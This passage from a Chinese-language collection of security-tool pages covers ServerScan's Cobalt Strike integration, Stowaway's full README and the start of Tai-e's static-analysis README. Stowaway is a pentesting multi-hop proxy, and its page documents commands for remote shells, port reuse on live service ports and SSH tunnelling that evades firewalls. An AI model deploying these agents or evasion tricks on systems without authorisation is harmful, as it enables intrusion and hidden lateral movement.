ServerScan的优势在于跨平台，在Hook师傅的帮（jiān）助（dū）下目前已经基本适配了[Cross C2](https://github.com/gloxec/CrossC2)的Linux、Mac OS两大平台，为了提高隐匿性减少文件特征，目前支持内存加载可执行程序和动态链接库调用，您只需在安装了Cross C2的Cobalt Strike中导入对应的.cna脚本，即可实现ServerScan与Cobalt Strike跨平台beacon联动，具体使用参考[Usage](#usage)。\n\n      * ***for PortScan***\n\n        Interact:\n\n        ![portscan_console](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/portscan_console.jpg)\n\n        Targets结果集自动导入:\n\n        ![portscan_targets](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/portscan_targets.jpg)\n\n        services结果集自动导入:\n\n        ![portscan_services](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/portscan_services.jpg)\n\n      * ***for Service and Version Detection***\n\n        Interact:\n\n        ![serverscan_console](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/serverscan_console.png)\n\n        Targets结果集自动导入:\n\n        ![serverscan_targets](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/serverscan_targets.jpg)\n\n        services结果集自动导入:\n\n        ![serverscan_services](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/serverscan_services.jpg)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Stowaway.md",
    "content": "## Stowaway <https://github.com/ph4ntonn/Stowaway>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-ph4ntonn-orange)\n![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Stowaway.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2-red)\n![Time](https://img.shields.io/badge/Join-20210702-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nStowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具\n\n用户可使用此程序将外部流量通过多个节点代理至内网，突破内网访问限制，构造树状节点网络，并轻松实现管理功能\n\nPS:谢谢大家的star，同时欢迎大家使用后提出问题&&Bug :kissing_heart:。\n\nPPS:**请务必在使用前详细阅读使用方法及文末的注意事项**\n\n> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！\n\n## 特性\n\n- 管理端更加友好的交互,支持命令补全/历史\n- 一目了然的节点树管理\n- 丰富的节点信息展示\n- 节点间正向/反向连接\n- 节点间支持重连\n- 节点间可通过socks5/http代理进行连接\n- 节点间可通过ssh隧道连接\n- 节点间流量可选择TCP/HTTP/WS\n- 多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6\n- 节点支持ssh访问远程主机\n- 远程shell\n- 上传及下载文件\n- 端口本地/远程映射\n- 节点可端口复用\n- 自由开关各类服务\n- 节点间相互认证\n- 节点间流量以TLS/AES-256-GCM进行加密\n- 相较于v1.0，文件体积减小25%\n- 支持各类平台(Linux/Mac/Windows/MIPS/ARM)\n\n## 编译及演示\n\n- 使用`make`直接编译多平台完整程序，或参看Makefile编译特定程序\n- 不想编译的盆油可以直接用[release](https://github.com/ph4ntonn/Stowaway/releases)下编译完成的程序\n- 演示视频：[Youtube](https://www.youtube.com/watch?v=Lh5Q0RPWKMU&list=PLkbGxnHFIhA_g5XZtKzN4u-JXRq41L2g-)\n\n## 使用方法\n\n### 角色\n\nStowaway一共包含两种角色，分别是：\n- `admin`    渗透测试者使用的主控端\n- `agent`    渗透测试者部署的被控端\n\n### 名词定义\n\n- 节点: 指admin || agent\n- 主动模式: 指当前操作的节点主动连接另一个节点\n- 被动模式: 指当前操作的节点监听某个端口，等待另一个节点连接\n- 上游: 指当前操作的节点与其父节点之间的流量\n- 下游：指当前操作的节点与其**所有**子节点之间的流量\n\n### 参数解析\n\n- admin\n\n```\n参数:\n-l 被动模式下的监听地址[ip]:<port>\n-s 节点通信加密密钥,所有节点(admin&&agent)必须一致\n-c 主动模式下的目标节点地址\n--socks5-proxy socks5代理服务器地址\n--socks5-proxyu socks5代理服务器用户名(可选)\n--socks5-proxyp socks5代理服务器密码(可选)\n--http-proxy http代理服务器地址\n--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS\n--tls-enable 为节点通信启用TLS，在启用TLS后，AES加密将被禁用\n--domain 指定TLS SNI域名，若为空，默认为目标节点地址\n--heartbeat 开启心跳包\n```\n\n- agent\n\n```\n参数:\n-l 被动模式下的监听地址[ip]:<port>\n-s 节点通信加密密钥\n-c 主动模式下的目标节点地址\n--socks5-proxy socks5代理服务器地址\n--socks5-proxyu socks5代理服务器用户名(可选)\n--socks5-proxyp socks5代理服务器密码(可选)\n--http-proxy http代理服务器地址\n--reconnect 重连时间间隔\n--rehost 端口复用时复用的IP地址\n--report 端口复用时复用的端口号\n--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS\n--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS\n--cs 运行平台的shell编码类型，默认为utf-8，可选gbk\n--tls-enable 为节点通信启用TLS，在启用TLS后，AES加密将被禁用\n--domain 指定TLS SNI域名，若为空，默认为目标节点地址\n```\n\n### 参数用法\n\n#### -l\n\n此参数admin&&agent用法一致，仅用在被动模式下 \n\n若不指定IP地址，则默认监听在`0.0.0.0`上\n\n- admin:  `./stowaway_admin -l 9999` or `./stowaway_admin -l 127.0.0.1:9999`\n\n- agent:  `./stowaway_agent -l 9999`  or `./stowaway_agent -l 127.0.0.1:9999`\n\n#### -s\n\n此参数admin&&agent用法一致，可用在主动&&被动模式下\n\n可选，若为空，则代表通信不被加密，反之则通信基于用户所给出的密钥加密\n\n- admin:  `./stowaway_admin -l 9999 -s 123`\n\n- agent:  `./stowaway_agent -l 9999 -s 123`\n\n#### -c\n\n此参数admin&&agent用法一致，仅用在主动模式下\n\n代表了希望连接到的节点的地址\n\n- admin:  `./stowaway_admin -c 127.0.0.1:9999`\n\n- agent:  `./stowaway_agent -c 127.0.0.1:9999`\n\n#### --socks5-proxy/--socks5-proxyu/--socks5-proxyp/--http-proxy\n\n这四个参数admin&&agent用法一致，仅用在主动模式下\n\n`--socks5-proxy`代表socks5代理服务器地址，`--socks5-proxyu`以及`--socks5-proxyp`可选\n\n`--http-proxy`代表http代理服务器地址,与socks5使用方式相同\n\n无用户名密码：\n\n- admin:  `./stowaway_admin -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx`\n\n- agent:  `./stowaway_agent -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx`\n\n有用户名密码:\n\n- admin:  `./stowaway_admin -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx --socks5-proxyu xxx --socks5-proxyp xxx`\n\n- agent:  `./stowaway_agent -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx --socks5-proxyu xxx --socks5-proxyp xxx`\n\n#### --up/--down\n\n这两个参数admin&&agent用法一致，可用在主动&&被动模式下\n\n但注意admin上没有`--up`参数\n\n这两个参数可选，若为空，则代表上/下游流量为裸TCP流量\n\n若希望上/下游流量为HTTP/WS流量，设置此两参数为`http`或`ws`即可\n\n- admin:  `./stowaway_admin -c 127.0.0.1:9999 --down ws`\n\n- agent:  `./stowaway_agent -c 127.0.0.1:9999 --up ws` or `./stowaway_agent -c 127.0.0.1:9999 --up ws --down ws`\n\n**注意一点，当你设置了某一节点上/下游为TCP/HTTP/WS流量后，与其连接的父/子节点的下/上游流量必须设置为一致！**\n\n如下\n\n- admin:  `./stowaway_admin -c 127.0.0.1:9999 --down ws`\n\n- agent:  `./stowaway_agent -l 9999 --up ws`\n\n上面这种情况，agent必须设置`--up`为ws，否则会导致网络出错\n\nagent间也一样\n\n假设agent-1正在`127.0.0.1:10000`端口上等待子节点的连接，并且设置了`--down ws`\n\n那么agent-2也必须设置`--up`为ws，否则会导致网络出错\n\n- agent-2:  `./stowaway_agent -c 127.0.0.1:10000 --up ws`\n\n#### --reconnect\n\n此参数仅用在agent，且仅用在主动模式下\n\n参数可选，若不设置，则代表节点在网络连接断开后不会主动重连，若设置，则代表节点会每隔x(你设置的秒数)秒尝试重连至父节点\n\n- admin:  `./stowaway_admin -l 9999`\n\n- agent:  `./stowaway_agent -c 127.0.0.1:9999 --reconnect 10`\n\n上面这种情况下，代表如果agent与admin之间的连接断开，agent会每隔十秒尝试重连回admin\n\nagent之间也与上面情况一致\n\n并且`--reconnect`参数可以与`--socks5-proxy`/`--socks5-proxyu`/`--socks5-proxyp`/`--http-proxy`一起使用，agent将会参照启动时的设置，通过代理尝试重连\n\n#### --rehost/--report\n\n这两个参数比较特别，仅用在agent端，详细请参见下方的端口复用机制\n\n#### --cs\n\n此参数仅用在agent，可用在主动&&被动模式下\n\n主要旨在解决'shell'功能乱码问题，当用户将agent运行于控制台编码为gbk的平台上(例如一般情况下的Windows)并且同时admin运行于控制台编码为utf-8的平台上时，请务必将此参数设置为'gbk'\n\n- Windows: `./stowaway_agent -c 127.0.0.1:9999 -s 123 --cs gbk`\n\n#### --tls-enable\n\n这两个参数admin&&agent用法一致，可用在主动&&被动模式下\n\n通过设置此选项，可以将节点间流量以TLS加密\n\n示例如下\n- admin: `./stowaway_admin -l 10000 --tls-enable -s 123`\n- agent: `./stowaway_agent -c localhost:10000 --tls-enable -s 123`\n\n注意，当此参数启用时，aes加密将被默认禁用，-s参数将仅用于节点间相互验证&端口复用功能\n\n另外，当此参数启用时，**请保证网络中每一个节点(包括admin)都启用此参数**\n\n#### --domain\n\n这两个参数admin&&agent用法一致，仅可用在主动模式下\n\n通过设置此选项，可以设置当前此节点TLS协商时的SNI选项\n\n示例如下\n- admin: `./stowaway_admin -l 10000 --tls-enable -s 123`\n- agent: `./stowaway_agent -c xxx.xxx.xxx.xxx:10000 --tls-enable -s 123 --domain xxx.com`\n\n注意，此参数启用必须配合--tls-enable参数，否则此参数无效\n\n#### --heartbeat\n\n这个参数仅用在admin端，可用在主动&被动模式下\n\n通过设置此选项，可以使admin持续向第一个节点发送心跳包，从而在中间有反向代理的情况下维持长链接\n\n假设admin和agent中有类似nginx的反向代理设备将8080端口代理至8000端口,示例如下 \n- admin: `./stowaway_admin -l 8000 --tls-enable -s 123 --down ws --heartbeat`\n- agent: `./stowaway_agent -c xxx.xxx.xxx.xxx:8080 --tls-enable -s 123 --domain xxx.com --up ws`\n\n## 端口复用机制\n\n当前Stowaway提供基于SO_REUSEPORT和SO_REUSEADDR特性的端口复用功能及基于IPTABLES的端口复用功能\n\n- 在linux下可以大部分的功能端口\n\n- 在windows下不可复用iis，rdp端口，可以复用mysql，apache服务的端口\n\n### 复用方式\n\n- SO_REUSEPORT和SO_REUSEADDR模式\n\n  假设agent端采用端口复用机制复用80端口\n\n  此时agent端必须设置`--rehost`&&`--report`&&`-s`参数\n\n  - `--rehost`: 代表希望复用的IP地址，不可为0.0.0.0，普遍应当是网卡的外部地址\n\n  - `--report`: 代表希望复用的端口\n\n  - `-s`: 代表通信密钥\n\n  **主要支持windows、mac环境下的复用，linux亦可，但限制较多**\n  \n  - admin端：`./stowaway_admin -c 192.168.0.105:80 -s 123`\n  - agent端：`./stowaway_agent  --report 80 --rehost 192.168.0.105 -s 123`\n\n\n- IPTABLES模式\n\n  假设agent端采用端口复用机制复用22端口\n\n  此时agent端必须设置`-l`&&`--report`&&`-s`参数\n\n  - `-l`: 代表无法被正常访问的端口，也就是你真正想让agent监听并接受连接的端口\n\n  - `--report`: 代表希望复用的端口\n\n  - `-s`: 代表通信密钥\n\n  **仅支持linux环境下的复用，agent会自动修改IPTABLES，需要root权限**\n\n  - agent端： `./stowaway_agent --report 22 -l 10000 -s 123`\n\n    在agent启动后，请使用`script`目录下的`reuse.py`\n\n    先设置SECRET的值(SECRET的值就是在启动各个节点时所设置的通信密钥),\n\n    之后执行：`python reuse.py --start --rhost xxx.xxx.xxx.xxx --rport xxx`\n\n    - `--rhost`: 代表agent的地址\n\n    - `--rport`: 代表被复用的端口,在本例中应当为22\n\n  - 此时admin端就可以连接：`./stowaway_admin -c 192.168.0.105:22 -s 123`\n  \n\n### 注意\n\n- 以上情况只是列举了admin以及agent之间的连接，agent与agent之间的连接亦同，并无差异\n\n- 如果agent被ctrl-c或者kill命令杀死，程序将会自动清理iptables规则，但如果被kill -9 杀死，则无法自动清除\n\n  故而为了防止agent异常退出后，iptables规则没有被清理导致被复用的服务无法访问\n\n  所以当需要关闭时，需运行：`python reuse.py --stop --rhost xxx.xxx.xxx.xxx --rport xxx`\n\n  即可关闭转发规则，使得原服务能够被正常访问\n\n- 如果使用IPTABLES模式下的端口复用模式，将会强制监听在0.0.0.0，无法由`-l`参数来指定ip\n\n## 如何组成多级网络？\n\n从上面的例子可以看到，只有admin和一个agent出场\n\n而多级网络才是核心\n\n在stowaway中，组成多级网络需要借助admin中的`listen`、`connect`、 `sshtunnel`命令来实现\n\n举一个简单的例子\n\n- admin: `./stowaway_admin -l 9999 -s 123`\n\n此时agent-1已经连上admin\n\n- agent-1:  `./stowaway_agent -c 127.0.0.1:9999 -s 123`\n\n 此时用户还想连接agent-2，如下\n\n- agent-2:  `./stowaway_agent -l 10000 -s 123`\n\n那么，此时用户可以通过admin,输入`use 0` -> `connect agent-2的IP:10000`来将其加入网络，并成为agent-1的一个子节点\n\n假如此时用户还希望连入一个节点agent-3，但是通过agent-1无法访问agent-3\n\n那么，此时用户可以通过admin,输入`use 0` -> `listen` -> 选择`1.Normal Passive` -> 输入`10001` 从而使得agent-1监听在10001端口上，并等待子节点的连接\n\n等admin操作完成后，agent-3启动如下\n\n- agent-3: `./stowaway_agent -c 127.0.0.1:10001 -s 123`\n\n就可以将agent-3作为agent-1的另一个子节点加入网络了\n\n关于`listen`以及`sshtunnel`的详细介绍，可以参看下方的命令解析\n\n## 如何重连？\n\nStowaway当前支持多种方式的重连，简单概括如下\n\n首先，当父节点掉线后，只有一种节点会主动退出，那就是启动时为主动模式且没有设置重连的节点\n\n如果设置了重连，那么节点将会在指定的时间间隔中尝试重连\n\n另外，所有被动模式启动的节点都不会主动退出，而是会基于启动时的参数重新监听在指定端口上，此时用户仍然可以通过`connect`、`sshtunnel`来将这些节点连回网络\n\n### 注意\n\n1. **如因网络波动或中间节点掉线，导致某一个分支断开，在主动重连时请务必连接缺失链的头节点**,举个例子，admin后接着node1，node1后分为两支，一支是node1->node 2 -> node 3 -> node 4, 一支是node1->node 5 ->node 6，那么如果node2掉线，node3及node4将不会掉线，而是继续保持存活。此时用户若想将node3及node4重新加入网络，那么用户有两种选择，一种是假如node1可以直接访问node3，那么用户可随时在node1将node3用connect或者sshtunnel命令重新加入网络（切记，就算node1同时也可以访问node4，也请不要直接连接node4，请连接整个缺失链(node3->node4)的头节点node3），这样就可以将node3及node4重新加入网络；另一种选择是当node1无法直接访问node3时（即必须经过node2），那么请先将node2重启并加入网络，之后再在node2上使用connect或者sshtunnel命令连接node3，从而将node3及node4加入网络\n\n2. **当有节点掉线时，那么此时与此节点及其子节点有关的所有socks，backward，forward服务都会被强制停止**\n\n## 命令解析\n\n在admin控制台中，用户可以用tab来补全命令，方向键上下左右来查找历史/移动光标\n\nadmin控制台分为两个层级，第一层为主panel，包含的命令如下\n\n- `help`: 展示主panel的帮助信息\n\n```\n(admin) >> help\n  help                                     \t\tShow help information\n  detail                                  \t\tDisplay connected nodes' detail\n  topo                                     \t\tDisplay nodes' topology\n  use        <id>                          \t\tSelect the target node you want to use\n  exit                                     \t\tExit Stowaway\n```\n\n- `detail`: 展示在线节点的详细信息\n\n```\n(admin) >> detail\nNode[0] -> IP: 127.0.0.1:10000  Hostname: ph4ntoms-MBP.lan  User: ph4ntom\nMemo:\n```\n\n- `topo`: 展示在线节点的父子关系\n\n```\n(admin) >> topo\nNode[0]'s children ->\nNode[1]\n\nNode[1]'s children ->\n```\n\n- `use`: 使用某个agent\n\n```\n(admin) >> use 0\n(node 0) >>\n```\n\n- `exit`: 退出stowaway\n\n```\n(admin) >> exit\n[*] Do you really want to exit stowaway?(y/n): y\n[*] BYE!\n```\n\n当用户使用`use`命令选择了一个agent后，进入第二层node panel，其包含的命令如下\n\n- `help`: 展示node panel的帮助信息\n\n```\n(node 0) >> help\n  help                                            Show help information\n  listen                                          Start port listening on current node\n  addmemo    <string>                             Add memo for current node\n  delmemo                                         Delete memo of current node\n  ssh        <ip:port>                            Start SSH through current node\n  shell                                           Start an interactive shell on current node\n  socks      <lport> [username] [pass]            Start a socks5 server\n  stopsocks                                       Shut down socks services\n  connect    <ip:port>                            Connect to a new node\n  sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology\n  upload     <local filename> <remote filename>   Upload file to current node\n  download   <remote filename> <local filename>   Download file from current node\n  forward    <lport> <ip:port>                    Forward local port to specific remote ip:port\n  stopforward                                     Shut down forward services\n  backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)\n  stopbackward                                    Shut down backward services\n  shutdwon                                        Terminate current node\n  back                                            Back to parent panel\n  exit                                            Exit Stowaway \n```\n\n- `listen`: 命令agent监听某个端口并等待子节点的连入\n\n```\n(node 0) >> listen\n[*] MENTION! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node was initially started in the corresponding way!\n[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!\n[*] Please choose the mode(1.Normal passive / 2.IPTables Reuse / 3.SOReuse): 1\n[*] Please input the [ip:]<port> : 10001\n[*] Waiting for response......\n[*] Node is listening on 10001\n```\n\n注意，`listen`是比较特殊的一个命令，可以看到，`listen`命令有三种模式\n\n1. `Normal passive`: 此选项意味着agent将会以普通的方式监听在目标端口，并等待子节点连入\n2. `IPTables Reuse`：此选项意味着agent将会以IPTables Reuse的方式复用端口，并等待子节点连入\n3. `SOReuse`：此选项意味着agent将会以SOReuse的方式复用端口，并等待子节点连入\n\n第一个模式是最普遍使用的，若父节点以这种方式监听，那么子节点仅需要`-c 父节点ip:port`就可以加入网络\n\n第二个和第三个模式是比较特殊的，若用户选择第二或第三个模式，那么用户必须保证当前操作的节点本身就是以端口复用的方式启动的，否则将无法使用这两个模式\n\n第二和第三个模式将不需要用户输入任何信息，节点将会自动使用其自身启动时的参数来复用端口，并准备接受子节点的连接\n\n另外，`listen`一次只能接受一个子节点的连入，若需要多个子节点连入，请执行相应次数的`listen`命令\n\n- `addmemo`: 为当前节点添加备忘\n\n```\n(node 0) >> addmemo test\n[*] Memo added!\n(node 0) >> exit\n(admin) >> detail\nNode[0] -> IP: 127.0.0.1:10000  Hostname: ph4ntoms-MBP.lan  User: ph4ntom\nMemo:  test\n```\n\n- `delmemo`: 删除当前节点的备忘\n\n```\n(node 0) >> delmemo\n[*] Memo deleted!\n(node 0) >> exit\n(admin) >> detail\nNode[0] -> IP: 127.0.0.1:10000  Hostname: ph4ntoms-MBP.lan  User: ph4ntom\nMemo:\n```\n\n- `ssh`: 命令节点以ssh方式连接目标机器\n\n```\n(node 0) >> ssh 127.0.0.1:22\n[*] Please choose the auth method(1.username&&password / 2.certificate): 1\n[*] Please enter the username: ph4ntom\n[*] Please enter the password: *****\n[*] Waiting for response.....\n[*] Connect to target host via ssh successfully!\n # ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:03:56]\n$ whoami\nph4ntom\n # ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:04:16]\n$\n```\n\n在此模式下，tab键将被禁止\n\n- `shell`: 获取当前节点的shell\n\n```\n(node 0) >> shell\n[*] Waiting for response.....\n[*] Shell is started successfully!\n\nbash: no job control in this shell\n\nThe default interactive shell is now zsh.\nTo update your account to use zsh, please run `chsh -s /bin/zsh`.\nFor more details, please visit https://support.apple.com/kb/HT208050.\nbash-3.2$ whoami\nph4ntom\nbash-3.2$\n```\n\n在此模式下，tab键将被禁止\n\n- `socks`：在当前节点上启动socks5服务\n\n```\n(node 0) >> socks 7777\n[*] Trying to listen on 0.0.0.0:7777......\n[*] Waiting for response......\n[*] Socks start successfully!\n(node 0) >>\n```\n\n注意一点，此处的7777端口不是在agent上开启的，而是在admin上开启\n\n若需要设置用户名密码，可将上方命令改为`socks 7777 <your username> <your password>`\n\n若需要指定监听的接口，可将上方命令改为`socks xxx.xxx.xxx.xxx:7777`\n\n- `stopsocks`: 停止在当前节点上的socks5服务\n\n```\n(node 0) >> stopsocks\nSocks Info ---> ListenAddr: 0.0.0.0:7777    Username: <null>    Password: <null>\n[*] Do you really want to shutdown socks?(yes/no): yes\n[*] Closing......\n[*] Socks service has been closed successfully!\n(node 0) >>\n```\n\n- `connect`: 命令当前节点连接至另一个子节点\n\n```\nagent-1: ./stowaway_agent -l 10002\n```\n\n```\n(node 0) >> connect 127.0.0.1:10002\n[*] Waiting for response......\n[*] New node come! Node id is 1\n\n(node 0) >>\n```\n\n- `sshtunnel`: 命令当前节点以ssh隧道的方式连接至另一个子节点\n\n```\nagent-2: ./stowaway_agent -l 10003\n```\n\n```\n(node 0) >> sshtunnel 127.0.0.1:22 10003\n[*] Please choose the auth method(1.username&&password / 2.certificate): 1\n[*] Please enter the username: ph4ntom\n[*] Please enter the password: ******\n[*] Waiting for response.....\n[*] New node come! Node id is 2\n\n(node 0) >>\n```\n\n在严格受限的网络环境下，可以利用ssh隧道的方式来将stowaway的流量伪装为ssh流量，从而避开防火墙的限制\n\n- `upload`: 向当前节点上传文件\n\n```\n(node 0) >> upload test.7z test.xxx\n[*] File transmitting, please wait...\n136.07 KiB / 136.07 KiB [-----------------------------------------------------------------------------------] 100.00% ? p/s 0s\n```\n\n- `download`: 下载当前节点上的文件\n\n```\n(node 0) >> download test.xxx test.xxxx\n[*] File transmitting, please wait...\n136.07 KiB / 136.07 KiB [-----------------------------------------------------------------------------------] 100.00% ? p/s 0s\n```\n\n- `forward`: 映射admin上的端口至远程端口\n\n```\n(node 0) >> forward 9000 127.0.0.1:22\n[*] Trying to listen on 0.0.0.0:9000......\n[*] Waiting for response......\n[*] Forward start successfully!\n(node 0) >>\n```\n\n```\n$ ssh 127.0.0.1 -p 9000\nPassword:\n # ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:19:51]\n$\n```\n\n- `stopforward`: 关闭当前节点的远程映射\n\n```\n(node 0) >> stopforward\n[0] All\n[1] Listening Addr : [::]:9000 , Remote Addr : 127.0.0.1:22 , Current Active Connnections : 1\n[*] Do you really want to shutdown forward?(yes/no): yes\n[*] Please choose one to close: 1\n[*] Closing......\n[*] Forward service has been closed successfully!\n```\n\n- `backward`: 反向映射当前agent上的端口至admin的本地端口\n\n```\n(node 0) >> backward 9001 22\n[*] Trying to ask node to listen on 0.0.0.0:9001......\n[*] Waiting for response......\n[*] Backward start successfully!\n(node 0) >>\n```\n\n```\n$ ssh 127.0.0.1 -p 9001\nPassword:\n # ph4ntom @ ph4ntoms-MBP in ~ 🌈 [17:22:14]\n$\n```\n\n- `stopbackward`: 关闭当前节点的反向映射\n\n```\n(node 0) >> stopbackward\n[0] All\n[1] Remote Port : 9001 , Local Port : 22 , Current Active Connnections : 1\n[*] Do you really want to shutdown backward?(yes/no): yes\n[*] Please choose one to close: 1\n[*] Closing......\n[*] Backward service has been closed successfully!\n```\n\n- `shutdown`: 命令当前节点下线\n\n```\n(node 1) >> shutdown\n(node 1) >>\n[*] Node 1 is offline!\n```\n\n- `back`: 退回到主panel\n\n```\n(node 1) >> back\n(admin) >>\n```\n\n- `exit`: 退出stowaway\n\n```\n(node 1) >> exit\n[*] Do you really want to exit stowaway?(y/n): y\n[*] BYE!\n```\n\n## TODO\n\n- [x] 修复bug\n- [x] 支持TLS\n- [ ] 支持多startnode的形式\n\n## 注意事项\n\n- 此程序仅是闲暇时开发学习，结构及代码结构不够严谨，功能可能存在bug，请多多谅解\n- admin不在线时，新节点将不允许加入\n- admin仅支持一个直接连接的agent节点，agent节点则无此限制\n- 如果用户使用windows下的admin端，请先下载[ansicon](https://github.com/adoxa/ansicon/releases)，或者在[这里]()下载，之后进入对应系统位数的文件夹，执行`ansicon.exe -i`即可，不然admin端会出现乱码的问题\n- 本程序仅支持标准的基于[RFC1928](https://www.ietf.org/rfc/rfc1928.txt)所阐述的`UDP ASSOCIATE`，请在使用socks5 udp代理时注意您所使用的程序(例如扫描器等)，包构造方式必须遵守标准的[RFC1928](https://www.ietf.org/rfc/rfc1928.txt)，并且需要自行处理丢包状况。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-16 发布文章[《Stowaway : 专为渗透测试工作者制作的多级代理工具》](https://mp.weixin.qq.com/s/L7Ikxd_Nql8SkezY4l0blQ)\n\n## 最近更新\n\n#### [v2.2] - 2024-03-29\n\n**更新**  \n- 将 AES-CBC 切换为 AES-GCM  \n- 修复一些 bugs 和 拼写错误  \n- 修复关闭短连接时数据丢失的错误  \n- 添加gzip功能  \n- 优化关键代码  \n- 添加http代理支持  \n- 将压缩的 macOS 可执行文件替换为未压缩的可执行文件  \n- 允许管理员在没有连接时退出  \n- 为节点之间的连接启用 TLS 功能  \n- Socks 可以监听特定接口\n\n#### [v2.1] - 2022-04-08\n\n**更新**  \n- 修复关闭短连接时的数据丢失错误  \n- 添加 gzip 功能  \n- 优化关键代码  \n- 修复一些 bugs\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Tai-e.md",
    "content": "## Tai-e <https://github.com/pascal-lab/Tai-e>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-pascal_lab-orange)\n![GitHub stars](https://img.shields.io/github/stars/pascal-lab/Tai-e.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.1-red)\n![Time](https://img.shields.io/badge/Join-20230913-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## What is Tai-e?\n\nTai-e (Chinese: 太阿; pronunciation: [ˈtaɪə:]) is a new static analysis framework for Java (please see our [ISSTA 2023 paper](https://cs.nju.edu.cn/tiantan/papers/issta2023.pdf) for details), which features arguably the \"best\" designs from both the novel ones we proposed and those of classic frameworks such as Soot, WALA, Doop, and SpotBugs.\nTai-e is easy-to-learn, easy-to-use, efficient, and highly extensible, allowing you to easily develop new analyses on top of it.\n\nCurrently, Tai-e provides the following major analysis components (and more analyses are on the\nway):\n\n- Powerful pointer analysis framework\n  - On-the-fly call graph construction\n  - Various classic and advanced techniques of heap abstraction and context sensitivity for pointer analysis\n  - Extensible analysis plugin system (allows to conveniently develop and add new analyses that interact with pointer analysis)\n- Configurable security analysis\n  - Taint analysis, which allows to configure sources, sinks, taint transfers, and sanitizers\n  - Detection of various information leakages and injection vulnerabilities\n  - Various precision and efficiency tradeoffs (benefit from the pointer analysis framework)\n- Various fundamental/utility analyses\n  - Fundamental analyses, e.g., reflection analysis and exception analysis\n  - Modern language feature analyses, e.g., lambda and method reference analysis, and invokedynamic analysis\n  - Utility tools like analysis timer, constraint checker (for debugging), and various graph dumpers\n- Control/Data-flow analysis framework\n  - Control-flow graph construction\n  - Classic data-flow analyses, e.g., live variable analysis, constant propagation\n  - Your data-flow analyses\n- SpotBugs-like bug detection system\n  - Bug detectors, e.g., null pointer detector, incorrect `clone()` detector\n  - Your bug detectors\n\nTai-e is developed in Java, and it can run on major operating systems including Windows, Linux, and macOS.\n\nAs a courtesy to the developers, we expect that you **please [cite](https://github.com/pascal-lab/Tai-e/blob/master/CITATION.bib) the paper** from ISSTA 2023 describing the Tai-e framework in your research work:\n\nTian Tan and Yue Li. 2023.\n**Tai-e: A Developer-Friendly Static Analysis Framework for Java by Harnessing the Good Designs of Classics.**\nIn Proceedings of the 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis (ISSTA '23), July 17–21, 2023, Seattle, WA, USA ([pdf](https://cs.nju.edu.cn/tiantan/papers/issta2023.pdf), [bibtex](https://github.com/pascal-lab/Tai-e/blob/master/CITATION.bib)).\n\n## How to Obtain Runnable Jar of Tai-e?\nThe simplest way is to download it from [GitHub Releases](https://github.com/pascal-lab/Tai-e/releases).\n\nAlternatively, you might build the latest Tai-e yourself from the source code. This can be simply accomplished via Gradle (be sure that Java 17 (or higher version) is available on your system).\nYou just need to run command `gradlew fatJar`, and then the runnable jar will be generated in `tai-e/build/`, which includes Tai-e and all its dependencies.\n\n## How to Include Tai-e in Your Project?\nTai-e is designed as a standalone tool, but you also have the option to include it in your project as a dependency.\nIt is available on Maven repositories, allowing you to easily integrate it into your Java projects using build tools such as Gradle and Maven.\nWe maintain both stable and latest versions of Tai-e, and here are the corresponding coordinates in Gradle and Maven script formats:\n\n### Stable Version\nFor Gradle:\n\n```kotlin\ndependencies {\n    implementation(\"net.pascal-lab:tai-e:0.2.2\")\n}\n```\n\nFor Maven:\n\n```xml\n\n<dependencies>\n    <dependency>\n        <groupId>net.pascal-lab</groupId>\n        <artifactId>tai-e</artifactId>\n        <version>0.2.2</version>\n    </dependency>\n</dependencies>\n```\n\n### Latest Version\n\nFor Gradle:\n\n```kotlin\nrepositories {\n    mavenCentral()\n    maven { url = uri(\"https://s01.oss.sonatype.org/content/repositories/snapshots/\") }\n}\n\ndependencies {\n    implementation(\"net.pascal-lab:tai-e:0.5.1-SNAPSHOT\")\n}\n```\n\nFor Maven:\n\n```xml\n<repositories>\n    <repository>\n        <id>snapshots</id>\n        